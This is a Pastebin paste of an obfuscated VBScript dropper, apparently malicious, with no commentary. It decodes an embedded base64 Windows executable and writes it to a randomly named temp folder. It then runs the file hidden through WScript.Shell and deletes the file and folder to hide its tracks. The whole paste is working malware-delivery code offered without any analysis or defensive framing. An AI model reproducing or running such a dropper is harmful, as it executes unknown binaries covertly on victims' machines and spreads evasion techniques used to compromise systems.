Advertisement
bakata

new

Jun 22nd, 2019
479
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.21 KB | None | 0 0
  1. Function ctZiVAtD(BpaBWDYc)
  2. mtEdgUQapS = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
  3. "dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
  4. BpaBWDYc & "</B64DECODE>"
  5. Set evWovVUm = CreateObject("MSXML2.DOMDocument.3.0")
  6. evWovVUm.LoadXML(mtEdgUQapS)
  7. ctZiVAtD = evWovVUm.selectsinglenode("B64DECODE").nodeTypedValue
  8. set evWovVUm = nothing
  9. End Function
  10.  
  11. Function ABFlhnlFsxd()
  12. jpmnlIOc = "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"
  13. Dim GHQbzBsUQZjMNA
  14. Set GHQbzBsUQZjMNA = CreateObject("Scripting.FileSystemObject")
  15. Dim kXfkSvAs
  16. Dim OHKYyeItte
  17. Set kXfkSvAs = GHQbzBsUQZjMNA.GetSpecialFolder(2)
  18. OHKYyeItte = kXfkSvAs & "\" & GHQbzBsUQZjMNA.GetTempName()
  19. GHQbzBsUQZjMNA.CreateFolder(OHKYyeItte)
  20. EkXOeziLHaRlWL = OHKYyeItte & "\" & "NMiEMJTMLW.exe"
  21. Dim UITFTLCq
  22. Set UITFTLCq = CreateObject("Wscript.Shell")
  23. cTTTqNaiM = ctZiVAtD(jpmnlIOc)
  24. Set LdjTXuYXmXZOEw = CreateObject("ADODB.Stream")
  25. LdjTXuYXmXZOEw.Type = 1
  26. LdjTXuYXmXZOEw.Open
  27. LdjTXuYXmXZOEw.Write cTTTqNaiM
  28. LdjTXuYXmXZOEw.SaveToFile EkXOeziLHaRlWL, 2
  29. UITFTLCq.run EkXOeziLHaRlWL, 0, true
  30. GHQbzBsUQZjMNA.DeleteFile(EkXOeziLHaRlWL)
  31. GHQbzBsUQZjMNA.DeleteFolder(OHKYyeItte)
  32. End Function
  33.  
  34. ABFlhnlFsxd
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement